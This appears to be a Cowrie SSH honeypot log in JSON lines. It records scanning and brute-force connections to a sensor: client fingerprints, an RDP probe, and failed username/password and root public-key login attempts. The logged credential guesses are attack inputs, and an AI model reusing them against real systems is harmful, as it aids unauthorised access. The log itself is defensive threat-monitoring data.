{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:06:59.664910Z","src_ip":"167.172.81.52","session":"2dff4d1194ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":59472,"dst_ip":"159.203.135.109","dst_port":22,"session":"75d13625666b","protocol":"ssh","message":"New connection: 80.94.92.186:59472 (159.203.135.109:22) [session: 75d13625666b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:07:15.151625Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.171","src_port":44666,"dst_ip":"10.17.0.5","dst_port":22,"session":"7435041c13c7","protocol":"ssh","message":"New connection: 80.94.92.171:44666 (10.17.0.5:22) [session: 7435041c13c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:07:15.178692Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:07:15.236008Z","src_ip":"80.94.92.186","session":"75d13625666b","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:07:15.332397Z","src_ip":"80.94.92.171","session":"7435041c13c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:07:15.336798Z","src_ip":"80.94.92.171","session":"7435041c13c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:07:15.452497Z","src_ip":"80.94.92.186","session":"75d13625666b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:07:16.081423Z","src_ip":"80.94.92.186","session":"75d13625666b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:07:16.554095Z","src_ip":"80.94.92.171","session":"7435041c13c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:07:17.294892Z","src_ip":"80.94.92.186","session":"75d13625666b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:07:17.668795Z","src_ip":"80.94.92.171","session":"7435041c13c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":62473,"dst_ip":"159.203.135.109","dst_port":22,"session":"30ca20693eca","protocol":"ssh","message":"New connection: 152.42.212.128:62473 (159.203.135.109:22) [session: 30ca20693eca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:07:22.838949Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:07:22.843970Z","src_ip":"152.42.212.128","session":"30ca20693eca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:07:22.854756Z","src_ip":"152.42.212.128","session":"30ca20693eca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":45346,"dst_ip":"10.17.0.5","dst_port":22,"session":"7fc2c4603b90","protocol":"ssh","message":"New connection: 103.98.149.87:45346 (10.17.0.5:22) [session: 7fc2c4603b90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:07:22.865014Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:07:22.996866Z","src_ip":"103.98.149.87","session":"7fc2c4603b90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:07:23.228386Z","src_ip":"103.98.149.87","session":"7fc2c4603b90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"svetik","message":"login attempt [root/svetik] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:07:24.871997Z","src_ip":"103.98.149.87","session":"7fc2c4603b90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:07:26.125083Z","src_ip":"103.98.149.87","session":"7fc2c4603b90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.135.70.18","src_port":42592,"dst_ip":"10.17.0.5","dst_port":22,"session":"a16a4a647fdd","protocol":"ssh","message":"New connection: 148.135.70.18:42592 (10.17.0.5:22) [session: a16a4a647fdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:07:27.491718Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:07:27.495712Z","src_ip":"148.135.70.18","session":"a16a4a647fdd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:07:27.564945Z","src_ip":"148.135.70.18","session":"a16a4a647fdd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d8:b0:b5:b8:fd:5e:cc:83:e6:c3:03:35:e2:f6:19:55","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCddKf2blNvUE4TM8lQ6LQOx2sWM4SZWfmEATf58p3YwhBT6zHRxj1kL8SAZZx8cFTbMWB3DV2kuF9QKZVibBYVcdURROcWSZ9G5pwkcy6bwI9/VAMgs0s/aXbR2KcMffM2pMV7Ccg8/0Vh42HqHL6868Mr/eo27n99G2moddeMhQ+rHrGP1MxwlNu4zz+VPPJR2sFKa7dFYPBaVH7w3KroaFi8XLyC+IV+C0/58tkXxlTEQSIprUlCQ7tkrdC5CI0WNzUySxl9lfAESPYa9QmygOFjAlkh+2e6Vu9wp6SEJ/UpsiUDLOWCeiLKlM34XskxWeGXMPwoTbdfB2eKEGSF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d8:b0:b5:b8:fd:5e:cc:83:e6:c3:03:35:e2:f6:19:55","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:07:27.886232Z","src_ip":"148.135.70.18","session":"a16a4a647fdd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d8:b0:b5:b8:fd:5e:cc:83:e6:c3:03:35:e2:f6:19:55","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCddKf2blNvUE4TM8lQ6LQOx2sWM4SZWfmEATf58p3YwhBT6zHRxj1kL8SAZZx8cFTbMWB3DV2kuF9QKZVibBYVcdURROcWSZ9G5pwkcy6bwI9/VAMgs0s/aXbR2KcMffM2pMV7Ccg8/0Vh42HqHL6868Mr/eo27n99G2moddeMhQ+rHrGP1MxwlNu4zz+VPPJR2sFKa7dFYPBaVH7w3KroaFi8XLyC+IV+C0/58tkXxlTEQSIprUlCQ7tkrdC5CI0WNzUySxl9lfAESPYa9QmygOFjAlkh+2e6Vu9wp6SEJ/UpsiUDLOWCeiLKlM34XskxWeGXMPwoTbdfB2eKEGSF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:07:27.892843Z","src_ip":"148.135.70.18","session":"a16a4a647fdd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"88:05:b7:d5:a0:f6:2e:16:59:cd:5f:81:d9:c3:f6:7d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCjBTUx0hBbWN30ms3i1afV92LHFc39PD3JyIQzTaFTg0cjZSNy7R1KCquWf6VtdQa/o+/CuRBaF26jIKJgkSrgc6+LYW3h+dwQsxb0j2D3fqRlhS3YpyvTYFPbqcXQ5mIl6ByFmJzBOy3zKUTFPIqJtv0Ht2vomsbBuFhUUCTjqReyrGsKE3S3x71iuT1r549N6L/+JQKOGdLQlHdq8Ah/U9XexQ5hpcD6PzQiuInfwoeNPcDpSa8bmsrR9CI4FcTCYCluYOx52awd/Tw+yU5KhmnrgIxfBgUQkqP3xv2hrtQI3Ko+d8MZZRfuqLRlTB8C1g7vaJo8OxjM/wovAbyzsmf9Qo5D1zZjXg5aj+MO0bi10OI4lHCi9LqKsCVFafeZuxRcmm8WUfYQFcY4jA+hi7MyaNGj8DN0FF6vrM7hCBczTpzg6tngqx0oxIQIYgxB5ZHimB9O6eT8mMfORdu51qYnFdh/7w2j0gtHcRF3Mst5hXW+uDQN4av9Cxq8bnPasCNAnR3iWh5f4qXF3pqSfD8sOnjRv/1MT3EZq53Pk6LeAIKxWdvkUQaqQP+pwRWwk00llSew7l7zTKd1BIw5/JcSFhnVRrKV6rjTuuPTVveOn0B+qUxTX6Bc1NhC005p5XH2Jdtgg9WWxuDMQ1+KL4uRRHQiFc/D+ul/3SM05w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 88:05:b7:d5:a0:f6:2e:16:59:cd:5f:81:d9:c3:f6:7d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:07:27.960814Z","src_ip":"148.135.70.18","session":"a16a4a647fdd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"88:05:b7:d5:a0:f6:2e:16:59:cd:5f:81:d9:c3:f6:7d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCjBTUx0hBbWN30ms3i1afV92LHFc39PD3JyIQzTaFTg0cjZSNy7R1KCquWf6VtdQa/o+/CuRBaF26jIKJgkSrgc6+LYW3h+dwQsxb0j2D3fqRlhS3YpyvTYFPbqcXQ5mIl6ByFmJzBOy3zKUTFPIqJtv0Ht2vomsbBuFhUUCTjqReyrGsKE3S3x71iuT1r549N6L/+JQKOGdLQlHdq8Ah/U9XexQ5hpcD6PzQiuInfwoeNPcDpSa8bmsrR9CI4FcTCYCluYOx52awd/Tw+yU5KhmnrgIxfBgUQkqP3xv2hrtQI3Ko+d8MZZRfuqLRlTB8C1g7vaJo8OxjM/wovAbyzsmf9Qo5D1zZjXg5aj+MO0bi10OI4lHCi9LqKsCVFafeZuxRcmm8WUfYQFcY4jA+hi7MyaNGj8DN0FF6vrM7hCBczTpzg6tngqx0oxIQIYgxB5ZHimB9O6eT8mMfORdu51qYnFdh/7w2j0gtHcRF3Mst5hXW+uDQN4av9Cxq8bnPasCNAnR3iWh5f4qXF3pqSfD8sOnjRv/1MT3EZq53Pk6LeAIKxWdvkUQaqQP+pwRWwk00llSew7l7zTKd1BIw5/JcSFhnVRrKV6rjTuuPTVveOn0B+qUxTX6Bc1NhC005p5XH2Jdtgg9WWxuDMQ1+KL4uRRHQiFc/D+ul/3SM05w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:07:27.964581Z","src_ip":"148.135.70.18","session":"a16a4a647fdd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bd:44:ad:be:fa:c2:e4:88:ac:c9:f0:e1:3a:58:69:f3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA1sUcMspWOGJrlN8EDSzWiI/oaNQ0FvhA6T/+BnjZ2Cx8IzXrHCi2L51ggX5RPspjSUvHu0WeI+9GJrXi8hlg7Oz76V/x97OWuYowCSinGRAfa344ef5TD8rHmEtKASCyAb2SiqZr0D0oHWZNGsp4qu+Bho/CWhm23WIbUY5ROMYyxDWDghJiWxXusMaaWBWtBDSxomExUxMkMeUQD/uSyjLz7EQ9STYtvXYd8IOAuWyFN8QZgtZh29PA6G92ceIkvrWYmmECD8YsUr8xrnxp4aVV6UXo48m/0AfjBGgGtipBdCs40YCcgeDt0RbfyDb5RnAOcc6e+m5rYLpdt+/B9Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bd:44:ad:be:fa:c2:e4:88:ac:c9:f0:e1:3a:58:69:f3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:07:28.033450Z","src_ip":"148.135.70.18","session":"a16a4a647fdd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bd:44:ad:be:fa:c2:e4:88:ac:c9:f0:e1:3a:58:69:f3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA1sUcMspWOGJrlN8EDSzWiI/oaNQ0FvhA6T/+BnjZ2Cx8IzXrHCi2L51ggX5RPspjSUvHu0WeI+9GJrXi8hlg7Oz76V/x97OWuYowCSinGRAfa344ef5TD8rHmEtKASCyAb2SiqZr0D0oHWZNGsp4qu+Bho/CWhm23WIbUY5ROMYyxDWDghJiWxXusMaaWBWtBDSxomExUxMkMeUQD/uSyjLz7EQ9STYtvXYd8IOAuWyFN8QZgtZh29PA6G92ceIkvrWYmmECD8YsUr8xrnxp4aVV6UXo48m/0AfjBGgGtipBdCs40YCcgeDt0RbfyDb5RnAOcc6e+m5rYLpdt+/B9Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:07:28.037207Z","src_ip":"148.135.70.18","session":"a16a4a647fdd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"02:40:06:e9:04:20:90:83:de:93:f2:9a:49:d5:c0:f5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAm7YlF3S8kF3mBTd+2urgC/fLCuu41cVte83MuqYgBpnHQOp6FL3+uVhadgPSc4d4QzZFhiVEYXcrfe0ynWiH21TaEeJ414pHzYblxeq+zpy1mQCWhK+rCnEFNAZjKmq6DZqXj+iM6c9PS+5rpw0+Qy7BzyCX9fkInnX590gPti881geeiKQXQOiNyjEssvAlh3nenpUJtnclmS2QiyzjCl5FVKlYTHpS0gnayfhupJfbInVdDYdfwnsAm0EK96TKmurg6cYAzi1r9ACXagxAYziTLwDl8MN5xzIxbonZrcDkfa5XCOw6U2fCDVVcBTJk1WPPZjAdznYB8S8taAp8Aw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 02:40:06:e9:04:20:90:83:de:93:f2:9a:49:d5:c0:f5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:07:28.105834Z","src_ip":"148.135.70.18","session":"a16a4a647fdd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"02:40:06:e9:04:20:90:83:de:93:f2:9a:49:d5:c0:f5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAm7YlF3S8kF3mBTd+2urgC/fLCuu41cVte83MuqYgBpnHQOp6FL3+uVhadgPSc4d4QzZFhiVEYXcrfe0ynWiH21TaEeJ414pHzYblxeq+zpy1mQCWhK+rCnEFNAZjKmq6DZqXj+iM6c9PS+5rpw0+Qy7BzyCX9fkInnX590gPti881geeiKQXQOiNyjEssvAlh3nenpUJtnclmS2QiyzjCl5FVKlYTHpS0gnayfhupJfbInVdDYdfwnsAm0EK96TKmurg6cYAzi1r9ACXagxAYziTLwDl8MN5xzIxbonZrcDkfa5XCOw6U2fCDVVcBTJk1WPPZjAdznYB8S8taAp8Aw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:07:28.109539Z","src_ip":"148.135.70.18","session":"a16a4a647fdd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7e:db:95:11:16:8f:7e:7e:b3:fa:38:b0:93:53:7b:7d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC//H/WyKfMvpgthTZUjNKhYA1PuVs/4MK2CNbPhAkzwkntJK4YNLmtsnr7pV7ND2ZzF6pwAwYSs3VlRVxC+RD5syMll27Vq1PLnHgpCnLE8g/CO6WvaX59UmYbGIxvpdLICO9uCCMcJETuTpZ9IISMsTejnyTT2W6TtraP796dZ4teCMSrSqHkcBdVrRvWDQVACxNlkkTINSdO24AeMXVtVrk4U1FTdzjdeWzF+eaWkGndCdBRZIgAPyQT+EJo1WYGFc+zXV0GgxKO2U8HYwSBmld1dFfMD8pgcoGdPrQ826uv6Gqf6Bypsow90vHUevYZRe06DYouthNqi+a6lqtH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7e:db:95:11:16:8f:7e:7e:b3:fa:38:b0:93:53:7b:7d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:07:28.178458Z","src_ip":"148.135.70.18","session":"a16a4a647fdd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7e:db:95:11:16:8f:7e:7e:b3:fa:38:b0:93:53:7b:7d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC//H/WyKfMvpgthTZUjNKhYA1PuVs/4MK2CNbPhAkzwkntJK4YNLmtsnr7pV7ND2ZzF6pwAwYSs3VlRVxC+RD5syMll27Vq1PLnHgpCnLE8g/CO6WvaX59UmYbGIxvpdLICO9uCCMcJETuTpZ9IISMsTejnyTT2W6TtraP796dZ4teCMSrSqHkcBdVrRvWDQVACxNlkkTINSdO24AeMXVtVrk4U1FTdzjdeWzF+eaWkGndCdBRZIgAPyQT+EJo1WYGFc+zXV0GgxKO2U8HYwSBmld1dFfMD8pgcoGdPrQ826uv6Gqf6Bypsow90vHUevYZRe06DYouthNqi+a6lqtH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:07:28.182967Z","src_ip":"148.135.70.18","session":"a16a4a647fdd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:07:28.254474Z","src_ip":"148.135.70.18","session":"a16a4a647fdd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":38342,"dst_ip":"10.17.0.5","dst_port":22,"session":"f7ff9e548a9b","protocol":"ssh","message":"New connection: 87.251.64.176:38342 (10.17.0.5:22) [session: f7ff9e548a9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:07:33.536659Z"}
